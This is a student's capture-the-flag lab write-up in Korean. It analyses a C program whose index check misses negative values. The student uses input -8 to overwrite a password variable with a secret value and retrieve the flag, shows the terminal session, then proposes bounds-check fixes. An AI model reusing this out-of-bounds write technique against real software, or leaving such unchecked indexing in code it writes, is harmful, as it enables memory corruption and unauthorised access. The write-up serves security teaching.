Lab 01

20230673 전재영

Vulnerability

```
  printf("[+] Enter the index to modify: ");
  int index = get_user_input();

  int *ptr = get_elem_ptr(index);
  if (!ptr) {
    fprintf(stderr, "Error: Invalid pointer.\n");
    exit(EXIT_FAILURE);
  }

  printf("[+] Enter a new value for table[%d]: ", index);
  int value = get_user_input();
  *ptr = value;
```

`main` 함수에서 유저로부터 index를 받고, 이를 ptr로 지정해 value를 변경하는 연산을 진행합니다.

```
int *get_elem_ptr(int index) {
  if (index < SIZE) { // SIZE = 8
    return table + index;
  }
  return NULL;
}
```

index를 입력받는 `get_elem_ptr`에서 index가 SIZE 보다 작을 때를 검사하지만, 0보다 작은 값을 가질 수 있기 때문에, -1, -2와 같은 입력으로 table의 주소보다 작은 값의 주소를 참조해 값을 바꿀 수 있게 됩니다.

```
------- Current table entries -------
Addr: 0x4040e0 -> table[0]: 29
Addr: 0x4040e4 -> table[1]: 71
Addr: 0x4040e8 -> table[2]: 95
Addr: 0x4040ec -> table[3]: 90
Addr: 0x4040f0 -> table[4]: 2
Addr: 0x4040f4 -> table[5]: 75
Addr: 0x4040f8 -> table[6]: 62
Addr: 0x4040fc -> table[7]: 3
-------------------------------------
...
----- password address and value-----
```

```
Addr: 0x4040c0 -> Value: 2025
-----------------------------------
```

table[0]의 주소를 확인하면 `0x4040e0`인 것을 알 수 있고, password의 주소는 `0x4040c0`인 것을 알 수 있습니다. 즉, 우리는 적당한 음의 index 값을 넣어, password의 주소에 접근해 그 값을 바꿀 수 있는 취약점을 발견해냈습니다.

Memory map

위에서 설명한 구조를 메모리 맵으로 표현하면 다음과 같습니다.

```
Addr: 0x4040c0 -> table[-8]: 2025 // password
Addr: 0x4040c4 -> table[-7]: ??
Addr: 0x4040c8 -> table[-6]: ??
Addr: 0x4040cc -> table[-5]: ??
Addr: 0x4040d0 -> table[-4]: ??
Addr: 0x4040d4 -> table[-3]: ??
Addr: 0x4040d8 -> table[-2]: ??
Addr: 0x4040dc -> table[-1]: ??
Addr: 0x4040e0 -> table[0]: 29
Addr: 0x4040e4 -> table[1]: 71
Addr: 0x4040e8 -> table[2]: 95
Addr: 0x4040ec -> table[3]: 90
Addr: 0x4040f0 -> table[4]: 2
Addr: 0x4040f4 -> table[5]: 75
Addr: 0x4040f8 -> table[6]: 62
Addr: 0x4040fc -> table[7]: 3
```

즉, 우리가 바꾸고 싶은 password의 index는 `table[-8]`, -8입니다.

Exploit

```
#define SECRET 146642
```

변경하고 싶은 index에 `-8`을, 변경할 값으로 `146642`을 넣으면 간단하게 flag를 얻을 수 있습니다.

```
csed415-lab01@csed415:~$ ./target
Let's get warmed up! Invoke print_flag() to capture your flag.

------- Current table entries -------
Addr: 0x4040e0 -> table[0]: 29
Addr: 0x4040e4 -> table[1]: 71
Addr: 0x4040e8 -> table[2]: 95
Addr: 0x4040ec -> table[3]: 90
Addr: 0x4040f0 -> table[4]: 2
Addr: 0x4040f4 -> table[5]: 75
Addr: 0x4040f8 -> table[6]: 62
Addr: 0x4040fc -> table[7]: 3
---------------------------------

[+] Enter the index to modify: -8
[+] Enter a new value for table[-8]: 146642

------- Current table entries -------
Addr: 0x4040e0 -> table[0]: 29
Addr: 0x4040e4 -> table[1]: 71
Addr: 0x4040e8 -> table[2]: 95
Addr: 0x4040ec -> table[3]: 90
Addr: 0x4040f0 -> table[4]: 2
Addr: 0x4040f4 -> table[5]: 75
Addr: 0x4040f8 -> table[6]: 62
Addr: 0x4040fc -> table[7]: 3
---------------------------------

----- password address and value-----
Addr: 0x4040c0 -> Value: 146642
---------------------------------

Great job! :)
This is your flag:
```

Fix

1 password가 table보다 낮은 주소에 위치하는 것이 문제가 되므로, 둘의 선언을 교체한다.

```
static int table[SIZE] = {29, 71, 95, 90, 2, 75, 62, 3};
static int password = 2025;
```

2 `get_elem_ptr`에서 index가 0보다 작은 경우에 대해 검사를 하지 않으므로, 조건을 추가해 table의 범위로 한정할 수 있도록 한다.

```
int *get_elem_ptr(int index) {
  if (index >= 0 && index < SIZE) { // SIZE = 8
    return table + index;
  }
```

```
  return NULL;
}
```